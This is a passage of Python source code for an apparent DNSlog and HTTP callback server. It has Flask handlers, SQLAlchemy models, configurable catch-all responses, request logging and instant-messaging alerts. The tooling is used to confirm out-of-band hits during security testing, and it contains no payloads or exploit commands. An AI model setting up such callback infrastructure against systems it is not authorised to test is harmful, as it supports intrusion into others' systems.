use_console=True, backupCount=7): 18 | 19 | formatter = logging.Formatter("[%(asctime)s] [%(levelname)s] %(message)s", "%Y-%m-%d %H:%M:%S") 20 | logging.addLevelName(CustomLogging.INFO, "*") 21 | logging.addLevelName(CustomLogging.SUCCESS, "+") 22 | logging.addLevelName(CustomLogging.ERROR, "-") 23 | logging.addLevelName(CustomLogging.WARNING, "!") 24 | logging.addLevelName(CustomLogging.DEBUG, "DEBUG") 25 | logging.addLevelName(CustomLogging.CRITICAL, "CRITICAL") 26 | self.logger = logging.getLogger(name) 27 | self.logger.setLevel(level) 28 | 29 | if not os.path.exists(LOG_PATH): 30 | os.makedirs(LOG_PATH) 31 | 32 | log_name = f'{name}.log' 33 | log_path = os.path.join(LOG_PATH, log_name) 34 | 35 | # interval 滚动周期, when="MIDNIGHT", interval=1 表示每天0点为更新点,每天生成一个文件,backupCount 表示日志保存个数 36 | self.log_handler = TimedRotatingFileHandler(log_path, when='D', interval=1, backupCount=backupCount, encoding='utf-8') 37 | self.log_handler.suffix = "%Y-%m-%d.log" 38 | self.log_handler.extMatch = re.compile(r"^\d{4}-\d{2}-\d{2}$") 39 | 40 | self.log_handler.setFormatter(formatter) 41 | self.logger.addHandler(self.log_handler) 42 | 43 | if use_console: 44 | try: 45 | console_handler = ColorizingStreamHandler(sys.stdout) 46 | console_handler.level_map[CustomLogging.INFO] = (None, "white", False) 47 | console_handler.level_map[CustomLogging.SUCCESS] = (None, "green", False) 48 | console_handler.level_map[CustomLogging.ERROR] = (None, "red", False) 49 | console_handler.level_map[CustomLogging.WARNING] = (None, "yellow", False) 50 | console_handler.level_map[CustomLogging.DEBUG] = (None, "cyan", False) 51 | console_handler.level_map[CustomLogging.CRITICAL] = (None, "red", False) 52 | self.console_handler = console_handler 53 | except Exception: 54 | self.console_handler = logging.StreamHandler(sys.stdout) 55 | finally: 56 | self.console_handler.setFormatter(formatter) 57 | self.logger.addHandler(self.console_handler) 58 | 59 | def set_level(self, level): 60 | self.logger.setLevel(level) 61 | 62 | def log(self, level, msg, *args, **kwargs): 63 | try: 64 | if isinstance(msg, str): 65 | for sub_msg in msg.replace('\r', '\n').split('\n'): 66 | self.logger.log(level, sub_msg, *args, **kwargs) 67 | else: 68 | self.logger.log(level, msg, *args, **kwargs) 69 | except UnicodeEncodeError as e: 70 | print(f"Error log: {str(e)}") 71 | 72 | def info(self, msg, *args, **kwargs): 73 | self.log(CustomLogging.INFO, msg, *args, **kwargs) 74 | 75 | def error(self, msg, *args, **kwargs): 76 | self.log(CustomLogging.ERROR, msg, *args, **kwargs) 77 | 78 | def success(self, msg, *args, **kwargs): 79 | self.log(CustomLogging.SUCCESS, msg, *args, **kwargs) 80 | 81 | def warning(self, msg, *args, **kwargs): 82 | self.log(CustomLogging.WARNING, msg, *args, **kwargs) 83 | 84 | def debug(self, msg, *args, **kwargs): 85 | self.log(CustomLogging.DEBUG, msg, *args, **kwargs) 86 | 87 | def critical(self, msg, *args, **kwargs): 88 | self.log(CustomLogging.CRITICAL, msg, *args, **kwargs) 89 | 90 | 91 | class ColorizingStreamHandler(logging.StreamHandler): 92 | color_map = { 93 | 'black': 0, 94 | 'red': 1, 95 | 'green': 2, 96 | 'yellow': 3, 97 | 'blue': 4, 98 | 'magenta': 5, 99 | 'cyan': 6, 100 | 'white': 7, 101 | } 102 | 103 | level_map = { 104 | logging.DEBUG: (None, 'blue', False), 105 | logging.INFO: (None, None, False), 106 | logging.WARNING: (None, 'yellow', False), 107 | logging.ERROR: (None, 'red', False), 108 | logging.CRITICAL: ('red', 'white', True), 109 | } 110 | csi = '\x1b[' 111 | reset = '\x1b[0m' 112 | 113 | @property 114 | def is_tty(self): 115 | isatty = getattr(self.stream, 'isatty', None) 116 | return isatty and isatty() 117 | 118 | def emit(self, record): 119 | try: 120 | message = self.format(record) 121 | stream = self.stream 122 | if not self.is_tty: 123 | stream.write(message) 124 | else: 125 | self.output_colorized(message) 126 | stream.write(getattr(self, 'terminator', '\n')) 127 | self.flush() 128 | except (KeyboardInterrupt, SystemExit): 129 | raise 130 | except: 131 | self.handleError(record) 132 | 133 | if os.name != 'nt': 134 | def output_colorized(self, message): 135 | self.stream.write(message) 136 | else: 137 | import re 138 | ansi_esc = re.compile(r'\x1b\[((?:\d+)(?:;(?:\d+))*)m') 139 | 140 | nt_color_map = { 141 | 0: 0x00, # black 142 | 1: 0x04, # red 143 | 2: 0x02, # green 144 | 3: 0x06, # yellow 145 | 4: 0x01, # blue 146 | 5: 0x05, # magenta 147 | 6: 0x03, # cyan 148 | 7: 0x07, # white 149 | } 150 | 151 | def output_colorized(self, message): 152 | import ctypes 153 | ctypes.windll.kernel32.SetConsoleTextAttribute.argtypes = [ctypes.c_ulong, ctypes.c_ushort] 154 | parts = self.ansi_esc.split(message) 155 | write = self.stream.write 156 | h = None 157 | fd = getattr(self.stream, 'fileno', None) 158 | if fd is not None: 159 | fd = fd() 160 | if fd in (1, 2): # stdout or stderr 161 | h = ctypes.windll.kernel32.GetStdHandle(-10 - fd) 162 | while parts: 163 | text = parts.pop(0) 164 | if text: 165 | write(text) 166 | self.stream.flush() # For win 10 167 | if parts: 168 | params = parts.pop(0) 169 | if h is not None: 170 | params = [int(p) for p in params.split(';')] 171 | color = 0 172 | for p in params: 173 | if 40 <= p <= 47: 174 | color |= self.nt_color_map[p - 40] << 4 175 | elif 30 <= p <= 37: 176 | color |= self.nt_color_map[p - 30] 177 | elif p == 1: 178 | color |= 0x08 # foreground intensity on 179 | elif p == 0: # reset to default color 180 | color = 0x07 181 | else: 182 | pass # error condition ignored 183 | 184 | ctypes.windll.kernel32.SetConsoleTextAttribute(h, color) 185 | 186 | def colorize(self, message, record): 187 | if record.levelno in self.level_map: 188 | bg, fg, bold = self.level_map[record.levelno] 189 | params = [] 190 | if bg in self.color_map: 191 | params.append(str(self.color_map[bg] + 40)) 192 | if fg in self.color_map: 193 | params.append(str(self.color_map[fg] + 30)) 194 | if bold: 195 | params.append('1') 196 | if params: 197 | message = ''.join((self.csi, ';'.join(params), 'm', message, self.reset)) 198 | return message 199 | 200 | def format(self, record): 201 | message = logging.StreamHandler.format(self, record) 202 | if self.is_tty: 203 | parts = message.split('\n', 1) 204 | parts[0] = self.colorize(parts[0], record) 205 | message = '\n'.join(parts) 206 | return message 207 | -------------------------------------------------------------------------------- /lib/core/model.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from datetime import datetime 6 | from flask_login import UserMixin 7 | from lib.core.enums import LogStatus 8 | from werkzeug.security import check_password_hash 9 | from werkzeug.security import generate_password_hash 10 | from sqlalchemy import Column 11 | from sqlalchemy import Integer 12 | from sqlalchemy import String 13 | from sqlalchemy import Text 14 | from sqlalchemy import DateTime 15 | from sqlalchemy import ForeignKey 16 | from sqlalchemy import BLOB 17 | from sqlalchemy import BOOLEAN 18 | from sqlalchemy.orm import relationship 19 | from sqlalchemy.ext.declarative import declarative_base 20 | from lib.core.g import engine 21 | from lib.core.g import conf 22 | from lib.util.util import get_time 23 | from lib.util.util import get_timedelta 24 | from lib.util.cipherutil import jwtdecode 25 | from lib.util.cipherutil import jwtencode 26 | 27 | 28 | Base = declarative_base(engine) 29 | 30 | class DNSSetting(Base): 31 | """DNSSetting""" 32 | __tablename__ = "dns_setting" 33 | id = Column(Integer(), primary_key=True, autoincrement=True) 34 | name = Column(String(255)) 35 | mark = Column(Text()) 36 | domain = Column(String(255)) 37 | value_type = Column(String(255)) 38 | value1 = Column(String(255)) 39 | value2 = Column(String(255)) 40 | dns_domain = Column(String(255), default=conf.dnslog.dns_domain) 41 | dns_redirect = Column(BOOLEAN(), default=False) 42 | type = Column(String(255), default='A') 43 | update_time = Column(DateTime()) 44 | 45 | def to_json(self): 46 | json_data = { 47 | 'id': self.id, 48 | "name": self.name, 49 | "mark": self.mark, 50 | "domain": self.domain, 51 | "value1": self.value1, 52 | "value2": self.value2, 53 | "dns_redirect": self.dns_redirect, 54 | "dns_domain": self.dns_domain, 55 | "value_type": self.value_type, 56 | "type": self.type, 57 | 'update_time': datetime.strftime(self.update_time, "%Y-%m-%d %H:%M:%S"), 58 | } 59 | return json_data 60 | 61 | class ResponseSetting(Base): 62 | """ResponseSetting""" 63 | __tablename__ = "response_setting" 64 | id = Column(Integer(), primary_key=True, autoincrement=True) 65 | name = Column(String(255)) 66 | mark = Column(Text()) 67 | path = Column(Text()) 68 | value_type = Column(String(255)) 69 | response_reason = Column(String(255)) 70 | response_status_code = Column(Integer()) 71 | response_headers = Column(Text()) 72 | response_content_type = Column(String(255)) 73 | response_content = Column(BLOB(131080)) 74 | update_time = Column(DateTime()) 75 | 76 | def to_json(self): 77 | json_data = { 78 | 'id': self.id, 79 | "name": self.name, 80 | "mark": self.mark, 81 | "path": self.path, 82 | "value_type": self.value_type, 83 | "response_reason": self.response_reason, 84 | "response_status_code": self.response_status_code, 85 | "response_headers": self.response_headers, 86 | "response_content_type": self.response_content_type, 87 | "response_content": str(self.response_content, 'utf-8'), 88 | 'update_time': datetime.strftime(self.update_time, "%Y-%m-%d %H:%M:%S"), 89 | } 90 | return json_data 91 | 92 | class DNSLog(Base): 93 | """DNSLog""" 94 | __tablename__ = "dnslog" # 指明数据库表名 95 | id = Column(Integer(), primary_key=True, autoincrement=True) # 主键 整型的主键默认设置为自增 96 | domain = Column(String(255)) 97 | ip = Column(String(255)) 98 | dns_domain = Column(String(255)) 99 | type = Column(String(255)) 100 | update_time = Column(DateTime()) 101 | 102 | def to_json(self): 103 | json_data = { 104 | 'id': self.id, 105 | "domain": self.domain, 106 | "ip": self.ip, 107 | "dns_domain": self.dns_domain, 108 | "type": self.type, 109 | 'update_time': datetime.strftime(self.update_time, "%Y-%m-%d %H:%M:%S"), 110 | } 111 | return json_data 112 | 113 | class WebLog(Base): 114 | """WebLog""" 115 | __tablename__ = "weblog" # 指明数据库表名 116 | id = Column(Integer(), primary_key=True, autoincrement=True) # 主键 整型的主键默认设置为自增 117 | dns_domain = Column(String(255)) 118 | scheme = Column(String(255)) 119 | method = Column(String(255)) 120 | host = Column(String(255)) 121 | port = Column(Integer()) 122 | url = Column(Text()) 123 | 124 | request_http_version = Column(String(255)) 125 | request_headers = Column(Text()) 126 | request_content_length = Column(Integer()) 127 | request_content = Column(BLOB(131080)) 128 | 129 | response_reason = Column(String(255)) 130 | response_status_code = Column(Integer()) 131 | response_headers = Column(Text()) 132 | response_content_type = Column(String(255)) 133 | response_content = Column(BLOB(131080)) 134 | 135 | ip = Column(String(255)) 136 | 137 | update_time = Column(DateTime()) 138 | 139 | def to_json(self): 140 | json_data = { 141 | 'id': self.id, 142 | "scheme": self.scheme, 143 | "method": self.method, 144 | "host": self.host, 145 | "port": self.port, 146 | "url": self.url, 147 | "dns_domain": self.dns_domain, 148 | 'request_http_version': self.request_http_version, 149 | "request_headers": self.request_headers, 150 | "request_content_length": self.request_content_length, 151 | # "request_content": self.request_content, 152 | "response_reason": self.response_reason, 153 | "response_status_code": self.response_status_code, 154 | "response_headers": self.response_headers, 155 | "response_content_type": self.response_content_type, 156 | # "response_content": self.response_content, 157 | 'update_time': datetime.strftime(self.update_time, "%Y-%m-%d %H:%M:%S"), 158 | "ip": self.ip, 159 | } 160 | return json_data 161 | 162 | 163 | class Log(Base): 164 | """Log""" 165 | __tablename__ = "log" # 指明数据库表名 166 | id = Column(Integer(), primary_key=True, autoincrement=True) # 主键 整型的主键默认设置为自增 167 | ip = Column(String(40)) # 日志产生IP 168 | log_type = Column(String(255)) # 日志类型 169 | description = Column(Text()) 170 | status = Column(String(40), default=LogStatus.OK) # 日志状态,0为逻辑删除 171 | url = Column(Text()) 172 | update_time = Column(DateTime()) 173 | 174 | user_id = Column(Integer, ForeignKey('user.id')) 175 | user = relationship('User') 176 | 177 | def to_json(self): 178 | json_data = { 179 | 'id': self.id, 180 | 'ip': self.ip, 181 | 'log_type': self.log_type, 182 | 'description': self.description, 183 | 'url': self.url, 184 | 'update_time': datetime.strftime(self.update_time, "%Y-%m-%d %H:%M:%S"), 185 | 'user': self.user.username if self.user is not None else self.user, 186 | 'user_id': self.user_id, 187 | } 188 | return json_data 189 | 190 | 191 | class User(UserMixin, Base): 192 | """User 账户测试用""" 193 | __tablename__ = "user" # 指明数据库表名 194 | id = Column(Integer(), primary_key=True, autoincrement='ignore_fk') 195 | email = Column(String(255), unique=True) # 唯一性 196 | username = Column(String(255)) 197 | description = Column(Text()) 198 | password = Column(String(255)) 199 | status = Column(String(255)) 200 | role = Column(String(255)) 201 | login_failed = Column(Integer()) 202 | failed_time = Column(DateTime()) 203 | created_time = Column(DateTime()) 204 | login_time = Column(DateTime()) 205 | update_time = Column(DateTime()) 206 | api_key = Column(String(255)) 207 | mark = Column(Text()) 208 | 209 | def to_json(self): 210 | json_data = { 211 | 'id': self.id, 212 | 'email': self.email, 213 | 'username': self.username, 214 | 'role': self.role, 215 | 'description': self.description, 216 | 'status': self.status, 217 | 'login_failed': self.login_failed, 218 | 'failed_time': datetime.strftime(self.failed_time, '%Y-%m-%d %H:%M:%S') if self.failed_time else None, 219 | 'created_time': datetime.strftime(self.created_time, "%Y-%m-%d %H:%M:%S") if self.created_time else None, 220 | 'login_time': datetime.strftime(self.login_time, "%Y-%m-%d %H:%M:%S") if self.login_time else None, 221 | 'update_time': datetime.strftime(self.login_time, "%Y-%m-%d %H:%M:%S")if self.login_time else None, 222 | 'mark': self.mark, 223 | } 224 | return json_data 225 | 226 | def verify_password(self, password): 227 | return check_password_hash(self.password, password) 228 | 229 | def generate_password_hash(self, password=None): 230 | if password is None: 231 | password = self.password 232 | return generate_password_hash(password) 233 | 234 | def generate_auth_token(self, expiration=3600): 235 | message = { 236 | "id": self.id, 237 | "email": self.email, 238 | "username": self.username, 239 | "status": self.status, 240 | "role": self.role, 241 | "exp": get_time() + get_timedelta(seconds=expiration) 242 | } 243 | token = jwtencode(message, conf.basic.secret_key, algorithm="HS256") 244 | return token 245 | 246 | @staticmethod 247 | def verify_auth_token(token): 248 | try: 249 | data = jwtdecode(token, conf.basic.secret_key, algorithms=["HS256"], do_time_check=True) 250 | if data and isinstance(data, dict): 251 | from lib.hander import db 252 | return db.session.query(User).get(data["id"]) 253 | except: 254 | return None 255 | return None 256 | -------------------------------------------------------------------------------- /lib/core/mysql.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from lib.util.cipherutil import urlencode 6 | 7 | 8 | class Mysql(object): 9 | 10 | def __init__(self, host="127.0.0.1", port=6379, username=None, password=None, dbname=None, charset="utf8mb4", 11 | collate="utf8mb4_general_ci"): 12 | self.host = host 13 | self.port = port 14 | self.username = username 15 | if isinstance(password, int): 16 | password = str(password) 17 | self.password = urlencode(password) 18 | self.dbname = dbname 19 | self.charset = charset 20 | self.collate = collate 21 | self.sync_sqlalchemy_database_url = f'mysql+pymysql://{self.username}:{self.password}@{self.host}:{self.port}/{self.dbname}?charset={self.charset}' 22 | self.sync_sqlalchemy_database_url_without_db = f'mysql+pymysql://{self.username}:{self.password}@{self.host}:{self.port}/' 23 | 24 | def get_sqlalchemy_database_url(self): 25 | """Sync 使用""" 26 | return self.sync_sqlalchemy_database_url 27 | 28 | def get_sqlalchemy_database_url_without_db(self): 29 | """Async 使用""" 30 | return self.sync_sqlalchemy_database_url_without_db 31 | -------------------------------------------------------------------------------- /lib/hander/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from lib.core.env import * 6 | from flask import Flask 7 | from flask_sqlalchemy import SQLAlchemy 8 | from lib.core.g import conf 9 | from lib.core.g import mysql 10 | 11 | app = Flask(PROJECT_NAME, template_folder=TEMPLATE_PATH, static_folder=STATIC_PATH, static_url_path=f"{PREFIX_URL}/{STATIC}") 12 | app.config['SQLALCHEMY_DATABASE_URI'] = mysql.get_sqlalchemy_database_url() 13 | app.config['SQLALCHEMY_ECHO'] = False 14 | app.config['SQLALCHEMY_POOL_SIZE'] = 100 15 | app.config['SQLALCHEMY_MAX_OVERFLOW'] = 20 16 | app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = True 17 | app.config['SQLALCHEMY_COMMIT_ON_TEARDOWN'] = True 18 | app.config["DEBUG"] = False 19 | app.config['SECRET_KEY'] = conf.basic.secret_key 20 | db = SQLAlchemy(app) 21 | 22 | from lib.hander import basehander 23 | app.register_blueprint(basehander.mod) 24 | 25 | from lib.hander import indexhander 26 | app.register_blueprint(indexhander.mod) 27 | 28 | from lib.hander import apihander 29 | app.register_blueprint(apihander.mod) 30 | 31 | from lib.hander.manager.log import webloghander 32 | app.register_blueprint(webloghander.mod) 33 | 34 | from lib.hander.manager.log import dnsloghander 35 | app.register_blueprint(dnsloghander.mod) 36 | 37 | from lib.hander.manager.setting import responsehander 38 | app.register_blueprint(responsehander.mod) 39 | 40 | from lib.hander.manager.setting import dnshander 41 | app.register_blueprint(dnshander.mod) 42 | 43 | from lib.hander.manager.system import userhander 44 | app.register_blueprint(userhander.mod) 45 | 46 | from lib.hander.manager.system import loghander 47 | app.register_blueprint(loghander.mod) 48 | -------------------------------------------------------------------------------- /lib/hander/apihander.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from lib.core.env import * 6 | import json 7 | from sqlalchemy import and_ 8 | from flask import request 9 | from flask import Blueprint 10 | from lib.core.enums import ApiStatus 11 | from lib.core.model import DNSLog 12 | from lib.core.model import WebLog 13 | from lib.hander import db 14 | from lib.hander.basehander import fix_response 15 | from lib.hander.basehander import login_check 16 | 17 | mod = Blueprint('api', __name__, url_prefix=f'{PREFIX_URL}/api') 18 | 19 | @mod.route('/dnslog/list', methods=['POST', 'GET']) 20 | @login_check 21 | @fix_response 22 | def api_dnslog_list(): 23 | """获取dnslog信息""" 24 | response = { 25 | 'data': { 26 | 'res': [], 27 | 'total': 0, 28 | } 29 | } 30 | page = request.json.get('page', 1) 31 | per_page = request.json.get('per_page', 10) 32 | domain = request.json.get('domain', '') 33 | ip = request.json.get('ip', '') 34 | condition = (1 == 1) 35 | 36 | if ip != '': 37 | condition = and_(condition, DNSLog.ip.like('%' + ip + '%')) 38 | 39 | if domain != '': 40 | condition = and_(condition, DNSLog.domain.like('%' + domain + '%')) 41 | 42 | if per_page == 'all': 43 | for row in db.session.query(DNSLog).filter(condition).all(): 44 | response['data']['res'].append(row.to_json()) 45 | else: 46 | for row in db.session.query(DNSLog).filter(condition).order_by( 47 | DNSLog.update_time.desc()).paginate(page=page, per_page=per_page).items: 48 | response['data']['res'].append(row.to_json()) 49 | 50 | response['data']['total'] = db.session.query(DNSLog).filter(condition).count() 51 | return response 52 | 53 | @mod.route('/dnslog/detail', methods=['POST', 'GET']) 54 | @login_check 55 | @fix_response 56 | def api_dnslog_detail(): 57 | """获取dnslog信息""" 58 | response = {'data': {'res': []}} 59 | dnslog_id = request.json.get('id', '') 60 | if dnslog_id != '': 61 | dnslog = db.session.query(WebLog).filter(WebLog.id == dnslog_id).first() 62 | if dnslog: 63 | response['data']['res'].append(dnslog.to_json()) 64 | response['data']['total'] = 1 65 | return response 66 | 67 | @mod.route('/weblog/list', methods=['POST', 'GET']) 68 | @login_check 69 | @fix_response 70 | def api_weblog_list(): 71 | """获取weblog信息""" 72 | response = { 73 | 'data': { 74 | 'res': [], 75 | 'total': 0, 76 | } 77 | } 78 | page = request.json.get('page', 1) 79 | per_page = request.json.get('per_page', 10) 80 | ip = request.json.get('ip', '') 81 | url = request.json.get('url', '') 82 | condition = (1 == 1) 83 | 84 | if ip != '': 85 | condition = and_(condition, WebLog.ip.like('%' + ip + '%')) 86 | if url != '': 87 | condition = and_(condition, WebLog.url.like('%' + url + '%')) 88 | 89 | if per_page == 'all': 90 | for row in db.session.query(WebLog).filter(condition).all(): 91 | response['data']['res'].append(row.to_json()) 92 | else: 93 | for row in db.session.query(WebLog).filter(condition).order_by( 94 | WebLog.update_time.desc()).paginate(page=page, per_page=per_page).items: 95 | response['data']['res'].append(row.to_json()) 96 | 97 | response['data']['total'] = db.session.query(WebLog).filter(condition).count() 98 | return response 99 | 100 | 101 | @mod.route('/weblog/detail', methods=['POST', 'GET']) 102 | @login_check 103 | @fix_response 104 | def api_weblog_detail(): 105 | """获取weblog信息""" 106 | response = {'data': {'res': []}} 107 | weblog_id = request.json.get('id', '') 108 | if weblog_id != '': 109 | weblog = db.session.query(WebLog).filter(WebLog.id == weblog_id).first() 110 | if weblog: 111 | weblog_dic = {} 112 | request_headers = json.loads(weblog.request_headers) 113 | url_temp = weblog.url[weblog.url.replace('://', '___').index('/'):] 114 | weblog_dic['url'] = weblog.url 115 | weblog_dic['request'] = weblog.method + ' ' + url_temp + ' ' + weblog.request_http_version + '\r\n' 116 | weblog_dic['request'] += '\r\n'.join([key + ': ' + value for key, value in request_headers.items()]) 117 | weblog_dic['request'] += '\r\n\r\n' 118 | weblog_dic['request'] += bytes.decode(weblog.request_content) 119 | response['data']['res'].append(weblog_dic) 120 | return response 121 | return ApiStatus.ERROR_IS_NOT_EXIST 122 | 123 | -------------------------------------------------------------------------------- /lib/hander/basehander.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from lib.core.env import * 6 | import re 7 | import json 8 | from werkzeug.exceptions import HTTPException 9 | from werkzeug.wrappers.response import Response 10 | from flask import request 11 | from flask import jsonify 12 | from flask import Blueprint 13 | from flask import session 14 | from flask import url_for 15 | from flask import redirect 16 | from sqlalchemy import or_ 17 | from sqlalchemy import and_ 18 | from functools import wraps 19 | from lib.hander import app 20 | from lib.hander import db 21 | from lib.core.g import access_log 22 | from lib.core.g import cache_log 23 | from lib.core.g import log 24 | from lib.core.g import conf 25 | from lib.core.model import User 26 | from lib.core.model import WebLog 27 | from lib.core.model import ResponseSetting 28 | from lib.core.model import Log 29 | from lib.core.enums import ApiStatus 30 | from lib.core.enums import WebLogType 31 | from lib.core.enums import ValueType 32 | from lib.core.enums import UserRole 33 | from lib.core.enums import UserStatus 34 | from lib.core.common import seng_message 35 | from lib.util.util import parser_header 36 | from lib.util.util import get_safe_ex_string 37 | from lib.util.util import get_time 38 | 39 | mod = Blueprint('base', __name__, url_prefix=f'{PREFIX_URL}/') 40 | 41 | 42 | class WebDomainResponse(HTTPException): 43 | 44 | def recode_request(self, resp): 45 | url = request.url 46 | method = request.method 47 | protocol = request.environ.get('SERVER_PROTOCOL') 48 | ip = request.remote_addr 49 | request_content = request.stream.read() 50 | request_content_length = len(request_content) 51 | dns_domain = conf.dnslog.dns_domain 52 | address = request.host.split(':') 53 | host = address[0] 54 | port = address[1] if len(address) == 2 else "80" 55 | scheme = 'http' 56 | request_headers = json.dumps(parser_header(request.headers, False)) 57 | response_reason = resp.status[resp.status.index(' '):] 58 | response_status_code = resp.status_code 59 | response_headers = json.dumps(parser_header(resp.headers, False)) 60 | response_content_type = resp.headers["Content-Type"] if "Content-Type" in resp.headers else None 61 | response_content = resp.data 62 | 63 | update_time = get_time() 64 | weblog = WebLog(ip=ip, request_content_length=request_content_length, request_content=request_content, 65 | request_headers=request_headers, update_time=update_time, url=url, host=host, port=port, 66 | scheme=scheme, dns_domain=dns_domain, request_http_version=protocol, method=method, 67 | response_reason=response_reason, response_status_code=response_status_code, response_headers=response_headers, 68 | response_content_type=response_content_type, response_content=response_content) 69 | save_sql(weblog) 70 | cache_log.info(f'ip: {ip}, method: {method} url: {url}, headers: {request_headers}, data: {request_content}') 71 | 72 | msg = f'WEBLOG 上线\nurl: {url}\nip: {ip}\nheaders: {request_headers}\nbody: {request_content}\ntime: {update_time}' 73 | 74 | flag, err = seng_message(msg) 75 | log_msg = msg.replace('\n', ', ').replace('\r', ', ') 76 | if flag: 77 | log.success(f'Send message to IM, msg: {log_msg}') 78 | else: 79 | log.error(f'Send message to IM error, msg: {log_msg}, error: {err}') 80 | 81 | def get_response(self, environ=None, scope = None): 82 | path = request.path 83 | resp = Response(b"", 200, []) 84 | 85 | response_setting = None 86 | response_setting_list = db.session.query(ResponseSetting).filter(and_(ResponseSetting.value_type == ValueType.REGEX)).all() 87 | for _response_setting in response_setting_list: 88 | re_result = re.match(_response_setting.path, path) 89 | if re_result: 90 | response_setting = _response_setting 91 | break 92 | 93 | if response_setting is None: 94 | response_setting = db.session.query(ResponseSetting).filter(and_(ResponseSetting.path == path, ResponseSetting.value_type == ValueType.MATCH)).first() 95 | if response_setting is None: 96 | response_setting = db.session.query(ResponseSetting).filter(and_(ResponseSetting.path == "", ResponseSetting.value_type == ValueType.MATCH)).first() 97 | 98 | if response_setting: 99 | if response_setting.response_headers: 100 | for key, value in resp.headers.items(): 101 | del resp.headers[key] 102 | for key, value in json.loads(response_setting.response_headers).items(): 103 | resp.headers[key] = value 104 | if response_setting.response_content_type: 105 | resp.headers["Content-Type"] = response_setting.response_content_type 106 | if response_setting.response_content: 107 | resp.data = response_setting.response_content 108 | resp.headers["Content-Length"] = len(response_setting.response_content) 109 | if response_setting.response_status_code: 110 | resp.status_code = response_setting.response_status_code 111 | if response_setting.response_reason: 112 | resp.status = f'{resp.status_code} {response_setting.response_reason}' 113 | 114 | self.recode_request(resp) 115 | 116 | return resp 117 | 118 | 119 | def fix_response(func): 120 | """ 121 | 统一返回的json,补充有status以及msg字段 122 | """ 123 | 124 | @wraps(func) 125 | def wrapper(*args, **kwargs): 126 | ret = func(*args, **kwargs) 127 | status = ApiStatus.SUCCESS['status'] 128 | msg = ApiStatus.SUCCESS['msg'] 129 | if isinstance(ret, dict): 130 | if 'status' in ret.keys() and ret['status'] != status: 131 | status = ret['status'] 132 | if 'msg' in ret.keys() and ret['msg'] != msg: 133 | msg = ret['msg'] 134 | ret['status'] = status 135 | ret['msg'] = msg 136 | return jsonify(ret) 137 | else: 138 | pass 139 | 140 | return wrapper 141 | 142 | 143 | def login_check(func): 144 | """权限简单校验,防止未授权""" 145 | 146 | @wraps(func) 147 | def wrapper(*args, **kwargs): 148 | 149 | # 初始化 150 | user = engine = None 151 | log_type = WebLogType.LOGIN 152 | 153 | # api 访问 154 | if request.path.startswith(f"{PREFIX_URL}/api/"): 155 | api_key = request.headers.get('API-Key', '') 156 | 157 | # 只收json格式 158 | if request.json is None: 159 | return jsonify(ApiStatus.ERROR_ILLEGAL_PROTOCOL) 160 | 161 | # api 访问使用api-key 162 | elif api_key is None or api_key == '': 163 | return jsonify(ApiStatus.ERROR_INVALID_API_KEY) 164 | 165 | else: 166 | # 与api通信,使用api_key 167 | user = db.session.query(User).filter(User.api_key == api_key).first() 168 | if user is None: 169 | return jsonify(ApiStatus.ERROR_INVALID_API_KEY) 170 | else: 171 | log_type = WebLogType.API 172 | else: 173 | # Web访问 174 | user_token = session.get('user') 175 | if user_token is not None: 176 | user = User.verify_auth_token(user_token) 177 | log_type = WebLogType.LOGIN 178 | 179 | # 用户/接口访问 180 | if user: 181 | user_dict = user.to_json() 182 | if user_dict['status'] != UserStatus.OK: 183 | return jsonify(ApiStatus.ERROR_ACCOUNT) 184 | elif user_dict['role'] != UserRole.ADMIN and request.path.startswith(f"{PREFIX_URL}/manager/"): 185 | return jsonify(ApiStatus.ERROR_ACCESS) 186 | elif user_dict['role'] == UserRole.GUEST: 187 | return jsonify(ApiStatus.ERROR_ACCESS) 188 | 189 | description = str(request.get_json(silent=True)) 190 | log = Log(ip=request.remote_addr, log_type=log_type, description=description, url=request.path, user=user, update_time=get_time()) 191 | save_sql(log) 192 | 193 | # engine内部通信 194 | elif engine: 195 | engine.update_time = get_time() 196 | save_sql(engine) 197 | 198 | # 未认证 199 | else: 200 | return redirect(url_for('index.login')) 201 | 202 | return func(*args, **kwargs) 203 | return wrapper 204 | 205 | 206 | @app.errorhandler(400) 207 | def error_400(error): 208 | return jsonify(ApiStatus.ERROR_400), 400 209 | 210 | @app.errorhandler(404) 211 | def not_found(error): 212 | return jsonify(ApiStatus.ERROR_404), 404 213 | 214 | @app.errorhandler(500) 215 | def error_500(error): 216 | return jsonify(ApiStatus.ERROR_500), 500 217 | 218 | @app.before_request 219 | def before_request(): 220 | # 返回自定义页面 221 | host = request.host if ':' not in request.host else request.host.split(':')[0] 222 | if host == conf.dnslog.admin_domain: 223 | pass 224 | else: 225 | return WebDomainResponse() 226 | 227 | 228 | @app.after_request 229 | def after_request(resp): 230 | host = request.host if ':' not in request.host else request.host.split(':')[0] 231 | if host == conf.dnslog.admin_domain: 232 | resp.headers.set("Server", VERSION_STRING) 233 | resp.headers.set("X-XSS-Protection", "1; mode=block") 234 | resp.headers.set("X-Frame-Options", "DENY") 235 | resp.headers.set("X-Content-Type-Options", "nosniff") 236 | 237 | 238 | ip = request.remote_addr 239 | ua = request.user_agent.string 240 | 241 | url = request.url 242 | method = request.method 243 | status_code = resp.status_code 244 | content_length = resp.headers.get('Content-Length', 0) 245 | referrer = request.referrer if request.referrer != None else "-" 246 | protocol = request.environ.get('SERVER_PROTOCOL') 247 | x_forwarded_for = request.headers.get('X-Forwarded-For', '"-"') 248 | access_log.info(f'{ip} "{method} {url} {protocol}" {status_code} {content_length} "{referrer}" "{ua}" {x_forwarded_for}') 249 | return resp 250 | 251 | def save_sql(item): 252 | db.session.add(item) 253 | try: 254 | db.session.commit() 255 | return True 256 | except Exception as e: 257 | db.session.rollback() 258 | if 'PRIMARY' in str(e): 259 | return True 260 | log.error("Insert error: {}".format(get_safe_ex_string(e))) 261 | return False 262 | 263 | -------------------------------------------------------------------------------- /lib/hander/indexhander.py: -------------------------------------------------------------------------------- 